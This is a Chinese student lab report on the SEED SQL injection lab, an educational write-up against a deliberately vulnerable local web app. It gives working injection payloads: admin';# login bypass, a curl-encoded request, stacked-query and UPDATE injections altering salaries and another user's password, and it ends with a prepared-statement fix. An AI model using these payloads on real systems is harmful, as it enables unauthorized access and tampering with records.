一、 实验目的

1 overview

SQL注入是一种代码注入技术,它利用web应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在web应用程序中正确检查时,就会出现此漏洞。许多web应用程序从用户处获取输入,然后使用这些输入构造SQL查询,这样web应用程序就可以从数据库中获取信息。Web应用程序还使用SQL查询在数据库中存储信息。这些是web应用程序开发中的常见做法。如果未仔细构造SQL查询,则可能会出现SQL注入漏洞。SQL注入攻击是对web应用程序最常见的攻击之一。

在本实验室中,我们创建了一个易受SQL注入攻击的web应用程序。我们的web应用程序包含许多web开发人员所犯的常见错误。学生的目标是找到利用SQL注入漏洞的方法,演示攻击可能造成的损害,并掌握有助于抵御此类攻击的技术。

二、 实验步骤及结果

2 Lab Environment

由于实验环境已经在VM SeedUbuntu20.04上面配置完成,因此,直接在Firefox中访问即可。
image.png

3 Lab Tasks

3.1: Task 1: Get Familiar with SQL Statements

启动 docker

1
2
dcbuild
dcup

然后进入 mysql 程序,在实验文件夹内启动数据库

1
2
3
dockps
docksh **
mysql -u root -pdees

如图:
image.png

进入数据库sqllab_users,查看其所有表

1
2
use sqllab_users;
show tables;

如图:
image.png

3.2 Task 2: SQL Injection Attack on SELECT Statement

3.2.1 Task 2.1: SQL Injection Attack from webpage

您的任务是以管理员身份登录到web应用程序,这样您就可以看到所有员工的信息。我们假设您知道管理员的帐户名,即admin,但您不知道密码。您需要决定在用户名和密码中输入什么字段才能成功地进行攻击。

打开 seed-server.com
观察 unsafe_home.php,看到里面有如下判断

1
2
3
4
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";

此处的原理是在php文件的检索数据库内容的时候没有对数据和代码相分离,因此,在查询name 的时候,输入的Username可以加入’使得引号闭合,加入#使得注释掉后面的内容,因此验证用户身份的过程通过SQL注入就绕过了对口令的验证,只验证用户名是否匹配,即可通过验证。
使用(密码随意写):

1
admin';#

image.png
攻击结果如图:
image.png

3.2.2 Task 2.2: SQL Injection Attack from command line

你的任务是重复task 2.1,但你需要在不使用网页的情况下完成它。您可以使用命令行工具,例如curl,它可以发送HTTP请求。值得一提的是,如果你想在HTTP请求中包含多个参数,你需要将URL和参数放在一对单引号之间;否则,用于分隔参数的特殊字符(如&)将被shell程序解释,从而改变命令的含义。

使用命令行的curl命令发送HTTP Request,其中与Task2.1类似,构造username=admin’#,Password=123。
需要注意的是因为此处直接发送的是HTTP Request,即需要对特殊字符进行URL编码,此处用到的特殊字符有三个:’# &

1
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%3B%23&Password=123'

可以看到,成功发送了HTTP Request请求,并获得了web服务器的相应的html表单。查看表单中的信息,找到相关的职员信息表格。如下图所示,分别包括了相应的colum,以及表单中的相应内容:
image.png

3.2.3 Task 2.3: Append a new SQL statement

在上述两种攻击中,我们只能从数据库中窃取信息;如果我们可以在登录页面中使用相同的漏洞来修改数据库就更好了。一种想法是使用SQL注入攻击将一条SQL语句变成两条,而第二条SQL语句则是更新或删除语句。在SQL语句中,分号(;)用来分隔两条SQL语句。请描述如何使用登录页面让服务器运行两个SQL语句。尝试从数据库中删除一条记录,并描述您的观察结果。

此处其实就是堆叠注入,考虑的是在注入的时候,考虑连续注入两条命令,使用;为隔离。使用update命令来更新数据表。注入:

1
admin'; update credential set name=A where ID=1;#

image.png

可以看到注入不成功:
image.png
原因是,PHP 中 mysqli 扩展的 query()函数不允许在数据 库服务器中运行多条语句。 这是 MySQL 中的一种特殊的保护机制。

3.3 Task 3: SQL Injection Attack on UPDATE Statement

3.3.1 Task 3.1: Modify your own salary

如Edit中所示个人资料页面,员工只能更新自己的昵称、电子邮件、地址、电话号码和密码;他们无权改变自己的薪水。只有管理员才可以修改工资。如果你是一个恶意的员工(比如Alice),你在这个任务中的目标是通过编辑个人资料页面来增加你自己的薪水。我们假设您知道,工资存储在一个名为“工资”的列中。

首先利用 SQL 注入漏洞登录 Alice 账户:

1
'OR name ='Alice'#

image.png
查看源代码unsafe_edit_backend.php :
image.png

Alice 的工资为 20000,这里只显示了EID 为 1000,(ID可以在管理员页面看到)现将工资改为 90000,根据源代码,构造 SQL 语句如下:

1
',salary='90000' where EID='10000';#

image.png

可以看到salary变为了90000:
image.png

3.3.2 Task 3.2: Modify other people’ salary

在增加了你自己的薪水后,你决定惩罚你的老板Boby。你想把他的薪水降到1美元。请演示一下你如何才能实现这一点。

因为不知道Boby的口令,此处也是使用SQL注入的命令,绕过口令,登录进入Boby的主页。

1
'OR name ='Boby'#

image.png

看到boby的EID是2000:
image.png

类似的注入:

1
',salary='1' where EID='20000';#

image.png

可以看到成功将Boby的Salary改成了1,攻击成功
image.png

3.3.3 Task 3.3: Modify other people’ password.

在改变了Boby的薪水后,你仍然很不满,所以你想把博比的密码改成你知道的东西,然后你就可以登录到他的账户,造成进一步的损害。请演示一下你如何才能实现这一点。您需要证明您可以使用新密码成功地登录到Boby的帐户。这里值得一提的一点是,数据库存储了密码的哈希值,而不是明文密码字符串。您可以再次查看不安全的编辑后端.php代码来查看密码是如何存储的。它使用SHA1哈希函数来生成密码的哈希值。

此处需要使用与上面类似的方法修改Boby的password信息。此处首先使用的是sql注入的方法绕过了口令验证登录进了Boby的个人主页

1
'OR name ='Boby'#

接着需要对Boby的密码在Update的基础上做出注入。查看源代码以及lab实验文档的资料后了解到,此处对口令的存储并不是明文存储,而是对口令过了一次sha1的哈希函数,因此这里需要对想要更改的Password过一次Sha1函数
在网上找到SHA1在线工具,将想要更改的密码散列为SHA1,这里使用的密码为galaxy,sha1后为cc803b57be7d55444ae6f763d256ef6a4fda5deb
image.png

构造注入:

1
',Password='cc803b57be7d55444ae6f763d256ef6a4fda5deb' where EID=20000;#

注入完毕后,使用Boby 和 galaxy登录:
image.png

发现修改成功:
image.png

3.4 Task 4: Countermeasure — Prepared Statement

SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪些部分是数据,哪些部分是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失了;SQL解释器看到的边界可能与开发人员设置的原始边界不同。要解决这个问题,必须确保服务器端代码和数据库中的边界视图是一致的。最安全的方法是使用预处理语句。

预处理语句在编译之后,但在执行步骤之前出现。预编译语句将经过编译步骤,并被转换为带有空数据占位符的预编译查询。要运行这个预编译查询,需要提供数据,但这些数据不会经过编译步骤;相反,它们被直接插入预编译的查询,并被发送到执行引擎。因此,即使数据中有SQL代码,不经过编译步骤,代码也会被简单地视为数据的一部分,没有特殊含义。预备语句就是这样防止SQL注入攻击的。

在unsafe.php中

1
2
3
4
$sql  =  "SELECT  name ,  local ,  gender
FROM USER_TABLE
WHERE id = $id AND password =’ $pwd’ " ;
$result = $conn->query($sql))

上面的代码很容易受到SQL注入攻击。它可以被改写为以下内容

1
2
3
4
5
6
7
8
$stmt  =  $conn->prepare( "SELECT  name ,  local ,  gender
FROM USER_TABLE
WHERE id = ? and password = ? " );

$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();

使用预处理语句机制,我们将向数据库发送SQL语句的过程分为两个步骤。第一步是只发送代码部分,即不包含实际数据的SQL语句。这是准备步骤。正如我们从上面的代码片段中看到的,实际的数据被问号(?)代替。在这一步之后,我们使用bind param()将数据发送到数据库。数据库将只将这一步中发送的所有内容视为数据,而不再视为代码。它将数据绑定到预处理语句的相应问号上。在bind param()方法中,第一个参数”is”表示参数的类型:”i”表示id中的数据为整数类型,”s”表示pwd中的数据为字符串类型。

注意:一定要重新build docker(我因为这个原因失败了好几次)

1
2
docker-compose build
dcup

进入:URL: http://www.seed-server.com/defense/,使用任务一的命令尝试注入

1
'OR name ='admin'#

image.png

可以发现攻击无果:
image.png
实验属于最简单的 SQL injection。主要的收获在于最后一个 Task,学习到了防御SQL注入攻击的知识。